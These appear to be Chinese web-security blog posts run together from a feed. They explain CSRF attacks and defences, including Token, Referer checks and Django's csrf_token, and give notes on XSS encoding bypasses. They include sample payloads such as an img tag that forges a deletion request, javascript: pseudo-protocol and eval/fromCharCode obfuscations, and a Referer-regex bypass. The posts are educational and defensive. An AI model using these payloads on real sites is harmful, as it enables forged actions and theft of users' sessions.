因为sqlmap等软件无法发送chunked数据包(使用tamper也不行)
]]>CSRF,也称XSRF,即跨站请求伪造攻击,与XSS相似,但与XSS相比更难防范,是一种广泛存在于网站中的安全漏洞,经常与XSS一起配合攻击。
攻击者通过盗用用户身份悄悄发送一个请求,或执行某些恶意操作。
CSRF漏洞产生的主要原因:
关于CSRF的执行过程,这里引用自hyddd大佬画的图:
我们知道,当我们使用img等标签时,通过设置标签的src等属性引入外部资源,是可以被浏览器认为是合法的跨域请求,也就是说是可以带上Cookie访问的。
试想一下,如果我们在a.com上放置一个img标签<img src=//b.com/del?id=1>
。当b.com的用户在cookie没过期的情况下访问a.com,此时浏览器会向b.com发送一个指向http://b.com/del?id=1
的GET
请求,并且这个请求是带上Cookie的,而b.com的服务器仅仅是通过cookie进行权限判断,那么服务器就会进行相应的操作,比如假设此处为删除某个文章,用户在不知情的情况下便已完成操作。
这里涉及到同源策略,如果不是很清楚可以先去了解一下。
我们知道,根据同源策略的规定,跨域请求是不允许带上Cookie等信息的,可是出于种种考虑最终没有进行完全禁止,即存在某些合法的跨域请求。
通常由HTML标签src
、lowsrc
等属性产生的跨域请求是被浏览器认为是合法的跨域请求,并且此时并不需要javascript的参与。
由HTML标签发出的合法跨域请求与正常的用户点击发出的请求相比所不同的是:两者请求头中的Referer值不同。
不过值得说明的是IE浏览器在面对这种情况时会判断本地Cookie是否带上P3P属性,如果仅仅是内存Cookie则不受此影响。
CSRF不仅仅只能针对GET请求,也可以针对POST请求,不过只能使用from标签进行自动提交,注意此处需用到javascript。
1 | <html> |
除了通过HTML标签发送跨域请求外,还可以通过Ajax来发送跨域情况,不过Ajax是严格遵守CORS规则的。
关于CORS规则,不清楚的可以去看看evoA大佬的一篇文章跨域方式及其产生的安全问题。
简单来说就是需要构造的xhr的withCredentials
属性也为true
才能带上Cookie进行跨域请求,与IE兼容性不好,且构造难度较Html复杂,故通常情况下我们不使用Ajax来进行CSRF攻击。
通常使用Ajax来跨域进行CSRF攻击的漏洞一般都配合XSS漏洞,此时的Ajax与目标域相同,不受CORS的限制。
攻击者构造恶意html,通过引诱用户/管理员访问,触发CSRF漏洞。
CSRF+XSS结合,产生的危害已几何倍数剧增。如果CSRF和XSS两个漏洞是在同一个域下的话,那么此时的CSRF已经变成了OSRF了,即本站点请求伪造(出自黑客攻防技术宝典Web实战篇第二版p366),此时已经变成XSS的请求伪造攻击,本文不在赘述。
我们知道网站api返回的数据类型一般为json型或Array型,这里我们仅讨论json型。
当我们需要调用远程api时json返回的数据一般如下:1
user({"name":"Yunen","work":"Student","xxxx":"xxxxxxxxx",......})
这是因为开发者如果需要调用远程服务器的api获取json数据,由于同源策略的限制,通过ajax获取就会显得比较麻烦,相比之下<script>
标签的开放策略,无疑是最好的方法去弥补这一缺陷,使得json数据可以进行方便的跨域传输。此处的user为回调函数名,一般为某个请求参数值(比如:callback),就上述例子说,只需要通过下面方法即可调用返回的数据:1
2
3
4
5<script>
function user(data){
console.log(data);//此时的json数据已经存储进了data变量中
}
</script>
这种远程api接口十分容易受到CSRF攻击,我们可以通过修改callback参数值并添加自定义函数,如:
1 | <html> |
从零开始学CSRF
Web安全系列 – Csrf漏洞
phpMyAdmin 4.7.x CSRF 漏洞利用
前边我们说到,产生CSRF的原因主要有两点,那么我们可以针对这两点进行相应的防御。
我们知道CSRF攻击的请求除了Cookie以外,其他的内容必须提前确定好,那么如果我们在服务端要求提交的某一个参数中是随机的值呢?
这里我们称这个随机的、无法被预计的值叫做Token,一般是由服务端在接收到用户端请求后生成,返回给用户的Token通常放置在hidden表单或用户的Cookie里。
当用户打开正常的发送请求的页面时,服务器会生成一串随机的Token值给浏览器,在发送请求时带上此Token,服务端验证Token值,如果相匹配才执行相应的操作、销毁原Token以及生成并返回新的Token给用户,这样做不仅仅起到了防御CSRF的作用,还可以防止表单的重复提交。
由于HTML标签产生的合法跨域只能是单向请求,无法通过CSRF直接取返回的内容,所以我们无法使用CSRF先取Token值再构造请求,这使得Token可以起到防御CSRF的作用。
注意Token不应该放置在网页的Url中,如果放在Url中当浏览器自动访问外部资源,如img标签的src属性指向攻击者的服务器,Token会出现作为Referer发送给外部服务器,以下为相关实例:
前边我们提到,CSRF伪造的请求与用户正常的请求相比最大的区别就是请求头中的Referer值不同,使用我们可以根据这点来防御CSRF。
在接收请求的服务端判断请求的Referer头是否为正常的发送请求的页面,如果不是,则进行拦截。
不过此方法有时也存在着一定的漏洞,比如可绕过等,所以最好还是使用Token。
判断Referer的一般方法就是利用正则进行判断,而判断Referer的正则一定要写全,不然就会如上所说,可绕过!曾经的Wooyun上就有许多CSRF的漏洞是由于Referer的正则不规范导致。
比如^http\:\/\/a\.com
,只验证了是否Referer是否以http://a.com
开头,可是没想到我们可以在自己的顶级域名添加一个子域名http://a.com.hacker.com
;还有http\:\/\/a\.com\/
,通过http://hacker.com/?http://a.com/
绕过。以下相关例子均为Referer绕过:
有些网站由于历史原因会允许空Referer头,当https向http进行跳转时,使用Html标签(如img、iframe)进行CSRF攻击时,请求头是不会带上Referer的,可以达到空Referer的目的。
在发送请求前先需要输入基于服务端判断的验证码,机制与Token类似,防御CSRF效果非常好,不过此方法对用户的友好度很差。
关于CSRF的防护应首先关注高危操作的请求,比如:网上转账、修改密码等,其次应重点关注那些可以散播的,比如:分享链接、发送消息等,再者是能辅助散播的,如取用户好友信息等,因为前者加上后者制造出来的CSRF蠕虫虽不如XSS蠕虫威力大,可是也不可小觑。最后应关注那些高权限账户能够进行的特权操作,如:上传文件、添加管理员,在许多渗透测试中,便是起初利用这点一撸到底。
新建个Django项目,打开项目下的settings.py文件,可以看到这么一行代码:django.middleware.csrf.CsrfViewMiddleware
这个就是Django的CSRF防御机制,当我们发送POST请求时Django会自动检测CSRF_Token值是否正确。我们把Debug
打开,可以看到如果我们的POST请求无CSRF_Token这个值,服务端会返回403报错。
现在我们往表单上添加CSRF_Token的验证:
1 | <!DOCTYPE html> |
下图为生成的HTML,可以看到{% csrf_token %}
这串代码被Django解析成了一个隐藏的input
标签,其中的值为token值,当我们发送请求时必须带上这个值。
只有这样Django才会接受POST请求来的数据,否则返回错误,并且原登陆页面的CSRF_Token重新生成,上一个进行销毁,很大程度上防御住了POST请求的CSRF。
补充一张暴漫系列图,引用自先知社区《聊聊CSRF漏洞攻防—-久等的暴漫》作者:farmsec:
eval(window.name)
,那么我们构造的iframe标签里可以添加个name属性与子页面进行通信,例子:wooyun-2015-089971。从上到下挖掘难度依次递增
CSRF攻击不受Cookie的HttpOnly属性影响。
如果一个网站存在XSS漏洞,那么以上针对CSRF的防御几乎失去了作用。
鉴于Flash的凉势,这里暂不做研究以节省时间。
就目前而言,CSRF这个沉睡的巨人颇有一番苏醒的意味,可导致的危害也正在逐步的为人们所知,但目前仍有许多开发人员还没有足够的安全意识,以为只要验证Cookie就能确定用户的真实意图了,这就导致了目前仍有大量潜在的CSRF漏洞的局面,CSRF是不可小觑的漏洞,希望大家看完这篇文章能对CSRF有个较为清晰的认识。
这是我在信安之路投稿的第二篇文章,虽说内容较为基础,但也是我熟读几本相关书籍与相关文章、研究已知漏洞,所写出来的一篇半总结,半思考文章,也许里边会有些错误,麻烦各位表哥斧正,如果有想要与我交流相关内容的可以email我(asp-php#foxmail.com #换成@)。
最后欢迎大家多多投稿呀,真的能对自己的学习有很大帮助!
书籍:
《Web前端黑客技术揭秘》p83-p96
《XSS跨站脚本攻击剖析与防御》p182-p187
《黑客攻防技术宝典Web实战篇第二版》p368-p374
文章:
CSRF漏洞挖掘
WEB安全之Token浅谈
跨域方式及其产生的安全问题
Django中CSRF原理及应用详解
CSRF简单介绍及利用方法 | WooYun知识库
原生JSONP实现_动态加载js(利用script标签)
在学习编码绕过时由于数量多,类型相似,不太容易记得住,记得全,故做此记录。
简单了解:
Html标签属性中的XSS问题多属于javascript伪协议
常见的属性有:
- src
- lowsrc
- dynsrc
- url
- href
- action
- onload
- onunload
- onmouseover
- onerror
- 各种on开头的事件
PS:此处可不加括号,如
onclick=javascript:alert(1)
,各类教程里常见的<img src=javascript:alert(1)></img>
Chrome、Firfox已失效,IE测试成功。
在Html标签中,许多标签具有执行javascript的权利,当服务器存在过滤时,我们可以尝试通过以下编码方法绕过:
[.][&#][&#x]
)javascript:String.fromCharCode(xx,xx,xx......)
[xx为编码的字符串的ASCII码]data:text/html;bbase64,xxxxxxx
[IE下无效,Chorme、Firefox下均属于空白域,无法获取信息,不过可用作CVE攻击]直接在script标签里执行的情况,我们通常分为以下几种利用方式:
- 直接导入远程XSS平台脚本
- 直接在
<></>
中写上自定义攻击脚本,如生成img标签
关于<></>
中可用:
1 | eval(String.fromCharCode()) |
1 | eval(\u0064\u0078......) |
样式表中可用expression和@import来执行js代码,此方法可进行适当的编码转换。
PS:仅在IE8.0之前的版本。
1 | 全角字符: |
1 | 十六进制 |
1 | /**/注释 [Javascript中也行] |
1 | \和结束符\0会被浏览器忽略 |
简单记录常见的浏览器差异造成的XSS
只有IE支持反引号 `
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<img src=javascript:alert(1)>
Chrome能拦截大多数反射型XSS,Firefox次之,IE最次
在刚开始学习XSS的时候总是想千方百计的想用javascript调用dom对象,比如document.cookie,却不知这个只能在javascript域[伪协议或标签内]范围内。
一、src等属性在引入时如果漏洞网站协议名于xss平台相同,即可省略去,如:<img src=//www.baidu.com />
二、svg标签属于xml而不属于html
三、关于Cors跨域:使用Ajax跨域时默认是不允许带上会话数据的,不过可以在XSS平台通过设置返回的请求头Access-Control-Allow-Credentials: true
,并且需要设置xhr的withCreadential
属性值为true,注意此时返回的Access-Control-Allow-Origin
不能设置为通配符true。
四、优先级:function xxx(){}形式定义的函数 -> == -> &
五、使用img等合法标签跨域可以带上会话信息
六、除javascript外还有vbscript、actionscript等
七、P3P协议仅仅是IE浏览器支持,通常是Hacker域名通过iframe或script等载入存在XSS漏洞的网站
XSS的恶意请求伪造与CSRF极为相似,两者的差别为:
如:<input class='xxx' value="{输出}">
这里的输出如果过滤/转义了"
,便不存在XSS漏洞了,因为这里的value属性不能执行js代码。
一定要过滤换行符!!
过滤expression和@import还有外部图片的引用
开头设定好字符集为 UTF-8
设置好path、开启http_only、防止调试信息泄露和Apache400漏洞、使用Session
]]>